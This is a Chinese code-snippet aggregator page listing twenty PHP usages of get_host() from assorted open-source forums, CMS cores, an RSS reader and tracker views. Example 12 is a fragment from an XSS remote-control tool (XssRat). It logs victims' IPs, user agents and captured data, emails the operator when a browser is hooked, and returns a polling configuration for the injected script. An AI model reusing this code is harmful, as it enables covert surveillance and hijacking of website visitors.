本文整理汇总了PHP中get_host函数的典型用法代码示例。如果您正苦于以下问题:PHP get_host函数的具体用法?PHP get_host怎么用?PHP get_host使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了get_host函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的PHP代码示例。
示例1: wpi_get_comment_author
function wpi_get_comment_author()
{
if (get_comment_type() != 'comment') {
$author = get_host(get_comment_author_url());
$author = str_rem("www.", $author);
} else {
$author = get_comment_author();
}
return $author;
}
开发者ID:Creativebq,项目名称:wp-istalker,代码行数:10,代码来源:comments.php
示例2: sync
function sync()
{
$this->post_stamp = __request_timestamp__;
$this->ip_addr = get_ip();
$this->host_name = $GLOBALS['FUD_OPT_1'] & 268435456 ? "'" . addslashes(get_host($this->ip_addr)) . "'" : 'NULL';
list($this->foff, $this->length) = write_pmsg_body($this->body);
q("UPDATE phpgw_fud_pmsg SET\n\t\t\tto_list=" . strnull(addslashes($this->to_list)) . ",\n\t\t\ticon=" . strnull($this->icon) . ",\n\t\t\touser_id=" . $this->ouser_id . ",\n\t\t\tduser_id=" . $this->ouser_id . ",\n\t\t\tpost_stamp=" . $this->post_stamp . ",\n\t\t\tsubject='" . addslashes($this->subject) . "',\n\t\t\tip_addr='" . $this->ip_addr . "',\n\t\t\thost_name=" . $this->host_name . ",\n\t\t\tattach_cnt=" . (int) $this->attach_cnt . ",\n\t\t\tfldr=" . $this->fldr . ",\n\t\t\tfoff=" . (int) $this->foff . ",\n\t\t\tlength=" . (int) $this->length . ",\n\t\t\tpmsg_opt=" . $this->pmsg_opt . "\n\t\tWHERE id=" . $this->id);
if ($this->fldr == 3) {
$this->send_pmsg();
}
}
开发者ID:BackupTheBerlios,项目名称:milaninegw-svn,代码行数:11,代码来源:pmsg.php
示例3: testsuit
function testsuit($servername = 'localhost')
{
header('Content-Type:text/html;charset=utf-8 ');
$this->load->helper('html');
$host = get_host($servername);
$linkPrepend = 'http://localhost/kq/index.php/kqtest/';
$apiLink = array('test_dcoupon', 'test_error_log', 'test_remote_coupon_accepted', 'test_coupon_dincrement', 'test_acoupon_increment', 'test_accept_coupon', 'test_bind_card_sms');
$apiTitle = $apiLink;
foreach ($apiLink as $link) {
$newApiLink[] = $linkPrepend . $link . '/' . $servername;
}
$data['title'] = '系统内部测试套装';
$data['titles'] = $apiTitle;
$data['links'] = $newApiLink;
$this->load->view('vtestsuit', $data);
}
开发者ID:iHamburg,项目名称:kqserver,代码行数:16,代码来源:kqtest.php
示例4: toolsuit
function toolsuit($servername = 'localhost')
{
header('Content-Type:text/html;charset=utf-8 ');
$host = get_host($servername);
$linkPrepend = $host . '/kq/index.php/kqunionpaytools/';
// $apiTitle = array('re','用户信息查询','银行卡开通服务','银行卡关闭服务');
$apiLink = array('testGetUserByMobile', 'testRegByMobile', 'testBindCard', 'testUnbindCard', 'testCouponDwnById');
$apiTitle = $apiLink;
foreach ($apiLink as $link) {
$newApiLink[] = $linkPrepend . $link . '/' . $servername;
}
$data['title'] = '银联接口工具套装';
$data['titles'] = $apiTitle;
$data['links'] = $newApiLink;
$this->load->view('vtestsuit', $data);
}
开发者ID:iHamburg,项目名称:kqserver,代码行数:16,代码来源:kqunionpaytools.php
示例5: __construct
public function __construct()
{
$sql = 'SELECT *
FROM _config';
$this->config = sql_rowset($sql, 'config_name', 'config_value');
if ($this->v('site_disable')) {
exit('not_running');
}
$address = $this->v('site_address');
$host_addr = array_key(explode('/', array_key(explode('//', $address), 1)), 0);
if ($host_addr != get_host()) {
$allow_hosts = get_file(XFS . XCOR . 'store/domain_alias');
foreach ($allow_hosts as $row) {
if (substr($row, 0, 1) == '#') {
continue;
}
$remote = strpos($row, '*') === false;
$row = !$remote ? str_replace('*', '', $row) : $row;
$row = str_replace('www.', '', $row);
if ($row == get_host()) {
$sub = str_replace($row, '', get_host());
$sub = f($sub) ? $sub . '.' : ($remote ? 'www.' : '');
$address = str_replace($host_addr, $sub . $row, $address);
$this->v('site_address', $address, true);
break;
}
}
}
if (strpos($address, 'www.') !== false && strpos(get_host(), 'www.') === false && strpos($address, get_host())) {
$page_protocol = array_key(explode('//', _page()), 0);
$a = $this->v('site_address') . str_replace(str_replace('www.', '', $page_protocol . $address), '', _page());
redirect($a, false);
}
$this->cache_dir = XFS . XCOR . 'cache/';
if (is_remote() && @file_exists($this->cache_dir) && @is_writable($this->cache_dir) && @is_readable($this->cache_dir)) {
$this->cache_f = true;
}
//
// Load additional objects.
//
$this->email = _import('emailer');
$this->cache = _import('cache');
return;
}
开发者ID:nopticon,项目名称:npt,代码行数:44,代码来源:core.php
示例6: add
function add($forum_id, $message_threshold, $forum_opt, $perm, $autoapprove = true)
{
if (!$this->post_stamp) {
$this->post_stamp = __request_timestamp__;
}
if (!isset($this->ip_addr)) {
$this->ip_addr = get_ip();
}
$this->host_name = $GLOBALS['FUD_OPT_1'] & 268435456 ? "'" . addslashes(get_host($this->ip_addr)) . "'" : 'NULL';
$this->thread_id = isset($this->thread_id) ? $this->thread_id : 0;
$this->reply_to = isset($this->reply_to) ? $this->reply_to : 0;
$file_id = write_body($this->body, $length, $offset);
/* determine if preview needs building */
if ($message_threshold && $message_threshold < strlen($this->body)) {
$thres_body = trim_html($this->body, $message_threshold);
$file_id_preview = write_body($thres_body, $length_preview, $offset_preview);
} else {
$file_id_preview = $offset_preview = $length_preview = 0;
}
poll_cache_rebuild($this->poll_id, $poll_cache);
$poll_cache = $poll_cache ? @serialize($poll_cache) : null;
$this->id = db_qid("INSERT INTO phpgw_fud_msg (\n\t\t\tthread_id,\n\t\t\tposter_id,\n\t\t\treply_to,\n\t\t\tip_addr,\n\t\t\thost_name,\n\t\t\tpost_stamp,\n\t\t\tsubject,\n\t\t\tattach_cnt,\n\t\t\tpoll_id,\n\t\t\ticon,\n\t\t\tmsg_opt,\n\t\t\tfile_id,\n\t\t\tfoff,\n\t\t\tlength,\n\t\t\tfile_id_preview,\n\t\t\toffset_preview,\n\t\t\tlength_preview,\n\t\t\tmlist_msg_id,\n\t\t\tpoll_cache\n\t\t) VALUES(\n\t\t\t" . $this->thread_id . ",\n\t\t\t" . $this->poster_id . ",\n\t\t\t" . (int) $this->reply_to . ",\n\t\t\t'" . $this->ip_addr . "',\n\t\t\t" . $this->host_name . ",\n\t\t\t" . $this->post_stamp . ",\n\t\t\t" . strnull(addslashes($this->subject)) . ",\n\t\t\t" . (int) $this->attach_cnt . ",\n\t\t\t" . (int) $this->poll_id . ",\n\t\t\t" . strnull(addslashes($this->icon)) . ",\n\t\t\t" . $this->msg_opt . ",\n\t\t\t" . $file_id . ",\n\t\t\t" . (int) $offset . ",\n\t\t\t" . (int) $length . ",\n\t\t\t" . $file_id_preview . ",\n\t\t\t" . $offset_preview . ",\n\t\t\t" . $length_preview . ",\n\t\t\t" . strnull($this->mlist_msg_id) . ",\n\t\t\t" . strnull(addslashes($poll_cache)) . "\n\t\t)");
$thread_opt = (int) ($perm & 4096 && isset($_POST['thr_locked']));
if (!$this->thread_id) {
/* new thread */
if ($perm & 64 && isset($_POST['thr_ordertype'], $_POST['thr_orderexpiry'])) {
if ((int) $_POST['thr_ordertype']) {
$thread_opt |= (int) $_POST['thr_ordertype'];
$thr_orderexpiry = (int) $_POST['thr_orderexpiry'];
}
}
$this->thread_id = th_add($this->id, $forum_id, $this->post_stamp, $thread_opt, isset($thr_orderexpiry) ? $thr_orderexpiry : 0);
q('UPDATE phpgw_fud_msg SET thread_id=' . $this->thread_id . ' WHERE id=' . $this->id);
} else {
th_lock($this->thread_id, $thread_opt & 1);
}
if ($autoapprove && $forum_opt & 2) {
$this->approve($this->id, true);
}
return $this->id;
}
开发者ID:BackupTheBerlios,项目名称:milaninegw-svn,代码行数:41,代码来源:mmod.php
示例7: get_args
function get_args($argv, $port, $team, $host)
{
$i = 0;
while ($argv[$i]) {
if ($argv[$i] == "-n" && isset($argv[$i + 1]) == TRUE) {
if (($team = get_team_name($argv[$i + 1])) == -1) {
return FALSE;
}
}
if ($argv[$i] == "-p" && isset($argv[$i + 1]) == TRUE) {
if (($port = get_port($argv[$i + 1])) == -1) {
return FALSE;
}
}
if ($argv[$i] == "-h" && isset($argv[$i + 1])) {
if (($host = get_host($argv[$i + 1])) == -1) {
return FALSE;
}
}
$i++;
}
return TRUE;
}
开发者ID:nott0ny,项目名称:zappy2010,代码行数:23,代码来源:get_entry.php
示例8: add_channel
function add_channel($url, $folderid = 0, $title_ = null, $descr_ = null, $tags = null)
{
if (!$url || strlen($url) <= 7) {
return array(-2, "Invalid URL {$url}");
}
if (!is_numeric($folderid)) {
return array(-2, "Invalid folderid {$folderid}");
}
$url = sanitize(str_replace('&', '&', $url), RSS_SANITIZER_URL);
$urlDB = rss_real_escape_string($url);
//htmlentities($url);
$res = rss_query("select count(*) as channel_exists from " . getTable("channels") . " where url='{$urlDB}'");
list($channel_exists) = rss_fetch_row($res);
if ($channel_exists > 0) {
// fatal
return array(-2, "Looks like you are already subscribed to this channel");
}
$res = rss_query("select 1+max(position) as np from " . getTable("channels"));
list($np) = rss_fetch_row($res);
if (!$np) {
$np = "0";
}
// Here we go!
//error_reporting(E_ALL);
$old_level = error_reporting(E_ERROR);
$rss = fetch_rss($url);
error_reporting($old_level);
if ($rss) {
if ($title_) {
$title = rss_real_escape_string($title_);
} elseif (is_object($rss) && array_key_exists('title#', $rss->channel)) {
if (array_key_exists('title', $rss->channel)) {
$title = rss_real_escape_string($rss->channel['title']);
} else {
$title = " ";
}
} else {
$title = "";
}
if (is_object($rss) && array_key_exists('link', $rss->channel)) {
$siteurl = rss_real_escape_string(htmlentities($rss->channel['link']));
} else {
$siteurl = "";
}
$refreshinterval = 0;
if (is_object($rss) && array_key_exists('syn', $rss->channel)) {
$syn = $rss->channel['syn'];
if (array_key_exists('updateperiod', $syn)) {
if ("hourly" == $syn['updateperiod']) {
if (array_key_exists('updatefrequency', $syn)) {
$refreshinterval = 60 * $syn['updatefrequency'];
}
}
}
}
if ($descr_) {
$descr = rss_real_escape_string($descr_);
} elseif (is_object($rss) && array_key_exists('description', $rss->channel)) {
$descr = rss_real_escape_string($rss->channel['description']);
} else {
$descr = "";
}
//lets see if this server has a favicon
$icon = "";
if (getConfig('rss.output.showfavicons')) {
// if we got nothing so far, lets try to fall back to
// favicons
if ($icon == "" && $siteurl != "") {
$match = get_host($siteurl, $host);
$uri = "http://" . $host . "favicon.ico";
if ($match && getContentType($uri, $contentType)) {
if (preg_match("/image\\/x-icon/", $contentType)) {
$icon = $uri;
}
}
}
}
$private = preg_match('|(https?://)([^:]+:[^@]+@)(.+)$|', $url);
if ($title != "") {
$title = strip_tags($title);
$descr = strip_tags($descr);
// add channel to root folder by default
if (!$folderid) {
$folderid = getRootFolder();
}
list($title, $urlDB, $siteurl, $folderid, $descr, $icon) = rss_plugin_hook('rss.plugins.feed.new', array($title, $urlDB, $siteurl, $folderid, $descr, $icon));
$mode = RSS_MODE_UNREAD_STATE;
if ($private) {
$mode |= RSS_MODE_PRIVATE_STATE;
}
$sql = "insert into " . getTable("channels") . " (title, url, siteurl, parent, descr, dateadded, icon, position, mode, daterefreshed)" . " values ('{$title}', '{$urlDB}', '{$siteurl}', {$folderid}, '{$descr}', now(), '{$icon}', {$np}, {$mode}, '0000-00-00 00:00:00')";
rss_query($sql);
$newid = rss_insert_id();
if ($icon && cacheFavicon($icon)) {
rss_query("update " . getTable("channels") . " set icon='blob:" . $icon . "'" . " where id={$newid}");
}
if ($tags != "") {
__exp__submitTag($newid, $tags, "'channel'");
}
if (false == empty($refreshinterval)) {
//.........这里部分代码省略.........
开发者ID:abdallahchamas,项目名称:haiti_tracker,代码行数:101,代码来源:util.php
示例9: define
if (!defined('ACT')) {
define('ACT', $_temp_act);
}
/* --- START: ERROR REPORTING --- */
if (!defined('ENVIRONMENT')) {
define('ENVIRONMENT', $environment);
}
if (ENVIRONMENT == '1') {
error_reporting(E_ALL);
} else {
if (ENVIRONMENT == '2') {
error_reporting(0);
}
}
/* --- DOMAIN NAME --- */
$_global_domain = get_host();
if ($_global_domain === 'localhost') {
$_global_domain = $_global_domain . '-' . cleanurl($_global_general->website_title);
} else {
$_global_domain = cleanurl($_global_general->website_title);
}
if (!defined('DOMAIN_ADDRESS')) {
define('DOMAIN_ADDRESS', $_global_domain);
}
/* --- ENVIRONMENT URL --- */
$_base_url_environment = substr(strchr(BASE_URL, '/'), 2, 9);
if (!defined('URL_ENVIRONMENT')) {
define('URL_ENVIRONMENT', $_base_url_environment);
}
/* --- ADMIN DEFAULT PAGE --- */
if (!defined('DEFAULT_PAGE')) {
开发者ID:nickyudha,项目名称:spalosophy,代码行数:31,代码来源:_global.php
示例10: core
function core()
{
$sql = 'SELECT *
FROM _config';
$this->config = _rowset($sql, 'config_name', 'config_value');
if ($this->v('site_disabled')) {
exit('SITE DISABLED');
}
$address = $this->v('address');
$host_addr = array_key(explode('/', array_key(explode('://', $address), 1)), 0);
if ($host_addr != get_host()) {
$allow_hosts = get_file('./base/domain_alias');
foreach ($allow_hosts as $row) {
if (substr($row, 0, 1) == '#') {
continue;
}
$remote = strpos($row, '*') === false;
$row = !$remote ? str_replace('*', '', $row) : $row;
$row = str_replace('www.', '', $row);
if ($row == get_host()) {
$sub = str_replace($row, '', get_host());
$sub = f($sub) ? $sub . '.' : ($remote ? 'www.' : '');
$address = str_replace($host_addr, $sub . $row, $address);
$this->v('address', $address, true);
break;
}
}
}
if (strpos($address, 'www.') !== false && strpos(get_host(), 'www.') === false && strpos($address, get_host())) {
$a = $this->v('address') . str_replace(str_replace('www.', '', $address), '', _page());
redirect($a, false);
}
$this->cache_dir = XFS . 'core/cache/';
if (is_remote() && @file_exists($this->cache_dir) && @is_writable($this->cache_dir) && @is_readable($this->cache_dir)) {
$this->cache_f = true;
}
return;
}
开发者ID:nopticon,项目名称:tts,代码行数:38,代码来源:session.php
示例11: fail
fail("We have no record of that computer");
}
return $host;
}
$user = get_logged_in_user();
page_head("Merge computer records");
$nhosts = get_int("nhosts");
$hostid = get_int("id_0");
$latest_host = get_host($hostid, $user);
for ($i = 1; $i < $nhosts; $i++) {
$var = "id_{$i}";
$hostid = get_int($var, true);
if (!$hostid) {
continue;
}
$host = get_host($hostid, $user);
if ($host->create_time > $latest_host->create_time) {
$error = merge_hosts($latest_host, $host);
if ($error) {
echo "<br />{$error}\n";
continue;
}
$latest_host = $host;
} else {
merge_hosts($host, $latest_host);
}
// reread latest_host from database since we just
// updated its credits
//
$latest_host = BoincHost::lookup_id($latest_host->id);
}
开发者ID:Turante,项目名称:boincweb,代码行数:31,代码来源:host_edit_action.php
示例12: htmlspecialchars
$res = $project->getProjectByTicket($ticket);
if ($res) {
$pmd->ticket = $ticket;
$pmd->p_id = $project->id;
$pmd->clientIP = htmlspecialchars(quotes($ip));
$pmd->time = $curtime;
$pmd->status = 1;
$pmd->ec = $ec;
$pmd->userAgent = htmlspecialchars(quotes($useragent));
$pmd->Referer = htmlspecialchars(quotes($referer));
$pmd->Data = utf8_decode(urldecode($data));
$pmd_id = $pmd->addPMD();
}
}
$email = $project->getMailByTiket($ticket);
if ($email) {
//sea maill
$saemail = new SaeMail();
$message = "亲爱的用户,你有新用户上线了。\r\n\t\t\t\t\t\t\t\r\n\tIP:" . $pmd->clientIP . "\r\n\tReferer:" . $pmd->Referer . "\r\n\tuserAgent:" . $pmd->userAgent . "\r\n\t\r\n\t本邮件来自于: http://xssrat.sinaapp.com\r\n\tMak3 hack m0r3 c00l!";
$ret = $saemail->quickSend($email, 'XSSRAT - 新用户上线', $message, MAIL_ACCOUNT, MAIL_PASS);
if ($ret === false) {
$log->error($mail->errmsg());
}
}
}
$db->closeDB();
}
$net_config = "rat.net.config = { protocol:\"" . get_protocol() . "\"," . "port:" . get_port() . ",host:\"" . get_host() . "\",api_path:\"" . get_page_path() . "\"," . "interval:3000,ticket:\"" . htmlspecialchars($ticket) . "\",pmd_id:\"" . $pmd_id . "\",a_id:0};\n";
$log->info("Time:" . $curtime . " IP:" . $ip . " UA:" . $useragent . " RE:" . $referer . " DATA:" . $data);
die($net_config);
}
开发者ID:mitv1c,项目名称:XssRat,代码行数:31,代码来源:res.php
示例13: while
?>
</a></h2>
<table width="100%">
<tr class="colhead">
<td>Changed</td>
<td>IP [<a href="/userhistory.php?action=ips&userid=<?php
echo $UserID;
?>
">H</a>]</td>
</tr>
<? while(list($ChangeTime, $ChangerIP) = $DB->next_record()){ ?>
<tr class="rowa">
<td><?php
echo time_diff($ChangeTime);
?>
</td>
<td><?php
echo display_str($ChangerIP);
?>
[<a href="/user.php?action=search&ip_history=on&ip=<?php
echo display_str($ChangerIP);
?>
" title="Search">S</a>]<br /><?php
echo get_host($ChangerIP);
?>
</td>
</tr>
<? } ?>
</table>
<? show_footer(); ?>
开发者ID:4play,项目名称:gazelle2,代码行数:30,代码来源:password_history.php
示例14: explode
$UsersEnabled = explode('|', $UsersEnabled);
$UsersDonor = explode('|', $UsersDonor);
$UsersWarned = explode('|', $UsersWarned);
}
?>
<tr class="rowa">
<td>
<?php
echo $IP;
?>
(<?php
echo get_cc($IP);
?>
) <br />
<?php
echo get_host($IP);
?>
<?php
echo $HasDupe ? '<a href="#" onclick="ShowIPs(' . $Index . '); return false;">(' . count($UserIDs) . ')</a>' : '(0)';
?>
</td>
<td><?php
echo time_diff($StartTime);
?>
</td>
<td><?php
echo time_diff($EndTime);
?>
</td>
<td><?php
//time_diff(strtotime($StartTime), strtotime($EndTime));
开发者ID:morilo,项目名称:ptpimg,代码行数:31,代码来源:ip_history.php
示例15: array_push
array_push($log, $bLogLine);
$bLogLine = implode('', $log);
$fp = fopen($file, 'w');
}
fputs($fp, $bLogLine);
fclose($fp);
}
return;
}
}
}
/* Don't execute in Manager */
if ($modx->context->get('key') == 'mgr') {
return '';
}
$oldSetting = ignore_user_abort(TRUE);
// otherwise can screw-up logfile
$data['page'] = $_SERVER['REQUEST_URI'];
$t = gettimeofday();
$data['time'] = date('d/m/y H:i:s:') . substr($t['usec'], 0, 3);
// H:i:s:u
$data['ip'] = $_SERVER['REMOTE_ADDR'];
$data['userAgent'] = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '<unknown user agent>';
$data['host'] = get_host($data['ip']);
$data['referer'] = empty($_SERVER['HTTP_REFERER']) ? '(empty)' : $_SERVER['HTTP_REFERER'];
$msg = implode('`', $data);
$maxLines = $modx->getOption('log_max_lines', $scriptProperties, 300);
$file = MODX_CORE_PATH . 'logs/pagenotfound.log';
logLine($msg . "\n", $maxLines, $file);
ignore_user_abort($oldSetting);
return '';
开发者ID:netProphET,项目名称:LogPageNotFound,代码行数:31,代码来源:logpagenotfound.plugin.php
示例16: urlinfo
/**
* Returns an array of URL and URI data
*
* @author Kader Bouyakoub <[email protected]>
* @link @bkader <github>
* @link @KaderBouyakoub <twitter>
*
* @access public
* @param void
* @return array
*/
function urlinfo()
{
if (!function_exists('path_merge')) {
$CI =& get_instance();
$CI->load->helper('path');
}
$is_https = is_https();
$server_protocol = is_https() ? 'https' : 'http';
$server_name = get_host();
if (isset($_SERVER['SERVER_PORT']) and !(strpos($server_name, '::') === false ? strpos($server_name, ':') === false : strpos($server_name, ']:') === false) and ($server_protocol == 'http' and $_SERVER['SERVER_PORT'] != 80) || ($server_protocol == 'https' and $_SERVER['SERVER_PORT'] != 443)) {
$server_name_extra = $server_name . ':' . $_SERVER['SERVER_PORT'];
$port = (int) $_SERVER['SERVER_PORT'];
} else {
$server_name_extra = $server_name;
$port = $is_https ? 443 : 80;
}
$server_url = $server_protocol . '://' . $server_name_extra;
$script_name = $_SERVER['SCRIPT_NAME'];
$script_path = str_replace(basename($script_name), '', $script_name);
if (defined('FCPATH')) {
$base_url = $server_url . rtrim(preg_replace('/' . preg_quote(str_replace(FCPATH, '', path_merge(FCPATH, $script_path) . '/'), '/') . '$/', '', $script_path), '/') . '/';
} else {
$base_url = $server_url . '/';
}
$base_uri = parse_url($base_url, PHP_URL_PATH);
if (substr($base_uri, 0, 1) != '/') {
$base_uri = '/' . $base_uri;
}
if (substr($base_uri, -1, 1) != '/') {
$base_uri .= '/';
}
$current_uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/';
$current_url = $server_url . $current_uri;
$server_url .= '/';
$current_uri_string = parse_url($current_url, PHP_URL_PATH);
$current_query_string = parse_url($current_url, PHP_URL_QUERY);
return compact('base_url', 'base_uri', 'current_url', 'current_uri', 'current_uri_string', 'current_query_string', 'server_url', 'server_name', 'server_protocol', 'is_https', 'script_name', 'script_path', 'port');
}
开发者ID:bkader,项目名称:CodeIgniter-Extended,代码行数:49,代码来源:Common.php
示例17: check_pathinfo
function check_pathinfo()
{
$host = get_host();
$port = get_port();
$uri = strtolower(get_schema()) . '://' . get_host() . get_request_uri() . '/pathinfotest?check_path_info=1';
$content = '';
$host_addr_arr = array($host, '127.0.0.1', 'localhost');
foreach ($host_addr_arr as $host_addr) {
$fp = @fsockopen($host_addr, $port, $errno, $errstr, 2);
if ($fp) {
$out = "GET " . $uri . " HTTP/1.1\r\n";
$out .= "Host: {$host}\r\n";
$out .= "Connection: close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp) && strlen($content) < 512) {
$content .= fgets($fp, 128);
}
fclose($fp);
}
$content = preg_split("\r?\n\r?\n", $content);
if (strpos($content[1], 'SUPPORT_PATHINFO') !== false) {
return true;
}
}
if (function_exists('curl_init')) {
ob_start();
$fp = curl_init($uri);
curl_exec($fp);
curl_close($fp);
$str = ob_get_contents();
ob_end_clean();
return $str == 'SUPPORT_PATHINFO' ? true : false;
} else {
return false;
}
}
开发者ID:453111208,项目名称:bbc,代码行数:36,代码来源:check.php
示例18: _page
function _page()
{
return get_protocol() . get_host() . ((!empty($_SERVER['REQUEST_URI'])) ? $_SERVER['REQUEST_URI'] : '');
}
开发者ID:nopticon,项目名称:jade,代码行数:4,代码来源:functions.php
示例19: define
<?php
// require_once(dirname(__FILE__).'/../okdk/locale/class.Locale.php');
//-----------------------------------------------------------------------
/* Language */
//-----------------------------------------------------------------------
define("DEFAULT_LANGUAGE", LocaleOkdk::LANGUAGE_ENGLISH);
define("USE_BROWSER_LANGUAGE", true);
//-----------------------------------------------------------------------
/* Others */
//-----------------------------------------------------------------------
define("SITE_VERSION", 20101110);
define("TOP_DOMAIN", get_host($_SERVER['SERVER_NAME']));
//-----------------------------------------------------------------------
/* Utils */
//-----------------------------------------------------------------------
function get_host($address)
{
$parseUrl = parse_url(trim($address));
return trim(isset($parseUrl['host']) ? $parseUrl['host'] : $parseUrl['path']);
}
开发者ID:Razinsky,项目名称:echaude-com,代码行数:21,代码来源:loc.parameters.php
示例20: time_diff
</td>
<td><?php
echo time_diff($Invite['AccountAge']);
?>
</td>
<td>
<?php
echo display_str($Invite['IP']);
?>
(<?php
echo get_cc($Invite['IP']);
?>
) [<a href="user.php?action=search&ip_history=on&ip=<?php
echo display_str($Invite['IP']);
?>
" title="Search">S</a>]<br />
<?php
echo get_host($Invite['IP']);
?>
</td>
</tr>
<?php
if ($Matches) {
echo $Matches;
}
?>
</table>
</div>
<?php
show_footer();
开发者ID:morilo,项目名称:ptpimg,代码行数:31,代码来源:email_history2.php
注:本文中的get_host函数示例整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。 |
请发表评论